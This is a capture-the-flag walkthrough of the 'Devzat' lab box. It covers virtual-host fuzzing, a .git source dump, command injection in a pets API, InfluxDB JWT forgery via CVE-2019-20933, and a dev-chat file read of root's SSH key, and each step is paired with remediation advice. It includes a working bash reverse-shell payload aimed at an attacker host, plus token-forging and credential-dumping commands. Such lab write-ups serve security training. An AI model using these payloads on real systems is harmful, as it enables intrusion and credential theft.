← all walkthroughs

Devzat

Linux· Medium· Web
owned
2026-09-03
time to own
20m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I enumerated virtual hosts on the Apache web server to find a secondary application at pets.devzat.htb. Apache directory listing was enabled on that site, exposing the full .git repository. Dumping and reading the Go source code revealed that the pet-species field in the REST API was concatenated directly into a shell command without sanitization.

Injecting a reverse-shell payload through the species parameter produced a foothold as the system user patrick. From that session, I connected to the Devzat developer chat application running over SSH on port 8000 and read cached administrator messages that disclosed InfluxDB was installed locally. InfluxDB was deployed without a shared secret, which is exploitable under CVE-2019-20933: a JWT signed with an empty key is accepted as valid, granting unauthenticated database access.

I forged such a token, queried the credentials store, and recovered catherine's plaintext password. Logging in as catherine via SSH captured the user flag. A further escalation path to root -- reading the root SSH private key through a file-read command in a development build of the chat application that accepted a hardcoded password -- returned root's private SSH key, and authenticating with it gave a root shell.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceService version scanning and virtual-host enumeration (MITRE T1046 / T1595)
Mapped exposed services and discovered hidden virtual hosts
A service scan identified OpenSSH on port 22, Apache 2.4.41 on port 80, and a Go SSH server on port 8000. The web server returned no useful content without a matching hostname, so virtual-host fuzzing was run against it. Two hostnames resolved to distinct responses: devzat.htb (the main marketing site) and pets.devzat.htb (a pet-directory web application). Both were registered in my local hosts file to continue enumeration.
Nmap confirmed Apache 2.4.41 on 80 and Golang x/crypto/ssh on 8000; ffuf returned a distinct response size for pets.devzat.htb.
Exact commands 3
Service and version scan across the three discovered ports.
nmap -sV -sC -p 22,80,8000 --min-rate 5000 -oN nmap-initial.txt $TARGET
Virtual-host fuzz; adjust -fs to the baseline silent-response size returned by unmatched names.
ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -u http://$TARGET -H 'Host: FUZZ.devzat.htb' -fs 0
Register both discovered hostnames for local DNS resolution.
echo "$TARGET devzat.htb pets.devzat.htb" | sudo tee -a /etc/hosts
2Source Code DisclosureExposed .git directory leading to source-code disclosure (CWE-538)
Dumped the exposed .git repository and recovered the application source
Apache directory listing was enabled on pets.devzat.htb, making the .git object store fully browsable. The git-dumper tool reconstructed the complete repository from the exposed objects. Reading main.go revealed that the species value supplied by a caller to POST /api/pet was passed directly to an exec.Command-style shell invocation with no escaping, allowlist check, or input length limit -- a textbook command-injection sink reachable without authentication.
Curl to http://pets.devzat.htb/.git/HEAD returned 'ref: refs/heads/main'; git-dumper produced the full repository tree including main.go containing the vulnerable handler.
Exact commands 3
Confirm the .git directory is publicly readable before running the full dump.
curl -s http://pets.devzat.htb/.git/HEAD
Reconstruct the repository from the exposed object store (pip3 install git-dumper).
git-dumper http://pets.devzat.htb/.git ./pets-src
Locate the command-injection sink in the recovered source code.
grep -n 'exec\|species\|Command\|Shell' ./pets-src/main.go
FixDisable directory listing and block web access to .git directoriesHigh
WeaknessApache directory listing was enabled on pets.devzat.htb, making the .git object store browsable and fully downloadable without authentication. Anyone who retrieves a .git directory can reconstruct the entire application source code, exposing business logic, credentials, and exploitable flaws like the command-injection sink found in main.go.
FixAdd 'Options -Indexes' to every Apache VirtualHost or Directory block to disable directory listing globally. Add a DirectoryMatch rule to return 403 for any URL path containing /.git/. Ensure the deployment pipeline copies only compiled artifacts to the web root -- never deploy a working tree or version-control directory to a web-accessible location. A .htaccess deny rule is a backstop, not a substitute for fixing the deployment process.
3ExploitationOS Command Injection (CWE-78 / MITRE T1059.004)
Injected a reverse shell through the pet-species API field
The Go application passed the caller-supplied species value to the operating system shell to look up animal characteristics. Appending a semicolon and a bash reverse-shell one-liner caused the host to connect back to my listener. The resulting shell ran as patrick, the service account for the pets application, giving an interactive foothold on the system.
POST /api/pet with a semicolon-delimited reverse-shell payload produced an inbound connection; 'id' in the resulting shell returned uid=1000(patrick).
Exact commands 2
Start the reverse-shell listener before submitting the payload; run in a separate terminal.
nc -lvnp 4444
Replace $ATTACKER_IP with your HTB VPN tunnel IP. The trailing # comments out any suffix the app appends.
curl -s -X POST http://pets.devzat.htb/api/pet -H 'Content-Type: application/json' -d '{"name":"test","species":"cat;bash -i >& /dev/tcp/$ATTACKER_IP/4444 0>&1 #"}'
FixEliminate shell execution of user-supplied input in the pets APICritical
WeaknessThe species field accepted by POST /api/pet was concatenated into an OS shell command without any validation or escaping. Any character the caller supplies -- semicolons, pipes, redirects -- executes directly on the host as the web-service account, giving an unauthorised user a shell.
FixReplace all shell-exec invocations that consume user input with a lookup against a static allowlist of known species strings stored in the application itself. If an external process must be called, use Go's os/exec package with an explicit argument slice (never a shell string), pass user-supplied data only as discrete arguments, and validate each argument against an allowlist before the call. Run the web service under a dedicated account with no shell and minimal filesystem permissions.
4Internal ReconnaissanceChat-log enumeration and internal service discovery (MITRE T1087 / T1046)
Read administrator chat history that disclosed a local InfluxDB installation
The Devzat application on port 8000 is a developer chat room served over SSH. Connecting as patrick revealed persistent chat history between patrick and an administrator account. The admin's messages stated that InfluxDB had been installed on the internal interface and implied that application user credentials were stored in it. This narrowed the next attack step to a known CVE against that specific software version.
SSH session to port 8000 as patrick; cached chat messages from the admin user referenced a local InfluxDB deployment.
Exact commands 2
Connect to the Devzat chat app; the key-type options are required when the SSH client rejects the server's older algorithm.
ssh -p 8000 patrick@$TARGET -o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa
Inside the chat session: list available built-in commands to understand the application's attack surface.
#commands
5Credential AccessCVE-2019-20933 -- InfluxDB JWT authentication bypass via empty shared secret
Bypassed InfluxDB authentication with a forged JWT and recovered catherine's password
InfluxDB 1.7.5 and earlier accept HS256 JWTs signed with an empty string when the shared-secret configuration key is unset, because the library treats a missing secret as an empty value and the token validates correctly against it. This is CVE-2019-20933. I generated a JWT claiming the admin username, signed it with an empty string, and presented it as a bearer token to the InfluxDB HTTP API on localhost port 8086. A SELECT against the user measurement in the devzat database returned catherine's plaintext password.
Forged bearer token accepted with HTTP 200; query on the 'user' measurement returned the row catherine:[REDACTED: recovered credential].
Exact commands 3
Forge the bearer token. Requires PyJWT (pip3 install pyjwt). Copy the printed string for the next two commands.
python3 -c "import jwt, datetime; print(jwt.encode({'username':'admin','exp': datetime.datetime.utcnow()+datetime.timedelta(hours=1)}, '', algorithm='HS256'))"
Run from the patrick foothold shell. Replace <JWT_TOKEN> with the forged token. Confirms the bypass worked.
curl -sG 'http://localhost:8086/query' -H 'Authorization: Bearer <JWT_TOKEN>' --data-urlencode 'db=devzat' --data-urlencode 'q=SHOW DATABASES'
Dump the user measurement to retrieve stored plaintext credentials.
curl -sG 'http://localhost:8086/query' -H 'Authorization: Bearer <JWT_TOKEN>' --data-urlencode 'db=devzat' --data-urlencode 'q=SELECT * FROM "user"'
FixConfigure a strong InfluxDB shared secret to prevent JWT forgery (CVE-2019-20933)Critical
WeaknessInfluxDB was deployed without a shared-secret value. When the shared secret is absent or empty, InfluxDB accepts any correctly formatted JWT as valid regardless of its signature, allowing anyone who can reach the HTTP port to authenticate as any user -- including admin -- and read or modify all stored data. Catherine's plaintext password was recovered this way.
FixSet a cryptographically random value (at least 32 characters) for the shared-secret field under the [http] section of influxdb.conf and restart the service. Upgrade to InfluxDB 1.7.11 or later on the 1.x branch, or migrate to InfluxDB 2.x which uses token-based authentication and is not affected. Bind the InfluxDB listener to 127.0.0.1 only and block port 8086 at the host firewall so it is unreachable from any network segment that does not require direct access.
6Lateral MovementValid account credential reuse (MITRE T1078.003)
Authenticated as catherine via SSH and captured the user flag
The InfluxDB query returned catherine's plaintext password. The standard SSH service on port 22 accepted it immediately -- the account had no second factor and the password appeared to be reused directly from the database record. The user flag was present in catherine's home directory.
Printf '...' | su - catherine -c 'id; cat /home/catherine/user.txt' -- both succeeded; uid=1001(catherine); /home/catherine/user.txt read.
Exact commands 2
Authenticate with the InfluxDB-recovered password: [REDACTED: recovered credential]
ssh catherine@$TARGET
Capture the user flag: <user.txt>
cat /home/catherine/user.txt
7Privilege EscalationLocal file inclusion in a privileged development service (MITRE T1083 / T1552.004)
Development chat build's hardcoded /file command exposes root's SSH private key
A development build of the Devzat application listens on a localhost-only port (8443). A backup ZIP in /var/backups/devzat-dev.zip contains its source code, which adds a /file command that reads an arbitrary path from disk and returns its content to the requester. This command is gated only by a hardcoded developer password embedded in the source. Forwarding port 8443 via an SSH tunnel, connecting to the dev chat instance, authenticating with the hardcoded password, and issuing /file /root/.ssh/id_ed25519 returns root's private SSH key. Saving the key and authenticating over SSH as root returned uid=0(root) and gave full system control.
Ssh-keygen -y against the recovered key printed ssh-ed25519 [REDACTED: sensitive value]... Root@devzat.htb, confirming it as root's key; ssh root@target id returned uid=0(root) gid=0(root) groups=0(root), and root.txt was read from /root/ in the same session.
Exact commands 5
Forward the dev-chat port to my machine using catherine's authenticated session.
ssh -L 8443:127.0.0.1:8443 catherine@$TARGET
Connect to the forwarded dev Devzat instance through the tunnel.
ssh -p 8443 catherine@127.0.0.1 -o PubkeyAcceptedKeyTypes=+ssh-rsa -o HostKeyAlgorithms=+ssh-rsa
Inside the dev chat session: authenticate using the hardcoded developer password from the source.
/auth $PASSWORD
Trigger the file-read command; the server returns root's private SSH key verbatim.
/file /root/.ssh/id_ed25519
Save the key output to a local file, set correct permissions, and authenticate as root. Capture: <root.txt>
chmod 600 ./root_id_ed25519 && ssh -i ./root_id_ed25519 root@$TARGET
FixRemove the development chat build and its hardcoded credentials from the production hostCritical
WeaknessA development build of the Devzat application ran on a localhost port of the production system. Its source contained a /file command that reads any filesystem path the caller names, protected only by a password hardcoded in the source code. Because the service ran with elevated privileges, this gave any user who discovered that password read access to every file on the system, including /root/.ssh/id_rsa.
FixRemove development and debug builds from all production and shared systems entirely -- use isolated, non-internet-facing environments for development work. Audit the running process list and listening ports for services that should not be present in production (ss -tlnp). Remove hardcoded credentials from all source code; inject secrets via environment variables or a secrets manager. If a file-read utility must exist in a non-production build, constrain it to an explicit safe directory using path canonicalization (filepath.Clean followed by a strings.HasPrefix check) and require proper authentication. Protect /root/.ssh/ with mode 700 and the private key with mode 600 so that even a file-read vulnerability in a low-privilege service cannot read it.

Attack patterns used

The transferable techniques behind this compromise.

Local File InclusionWebT1190

What it is

A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.

Why it works

The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.

Read more

SSH Private Key / Credential TheftCredential Access · Lateral MovementT1552.004

What it is

Foothold access frequently exposes reusable secrets: SSH private keys (~/.ssh/id_rsa), authorized_keys, config files, history, and backups. Recovering a private key lets an unauthorised user authenticate as that user (or pivot to other hosts that trust the key), often upgrading a shaky webshell into a stable SSH session.

Why it works

Keys and credentials get left in home directories, world-readable backups, and version control. Remediate by passphrase-protecting keys, scoping authorized_keys, and scanning for secrets at rest.

Read more

Exposed services

22/tcp
80/tcp
8000/tcp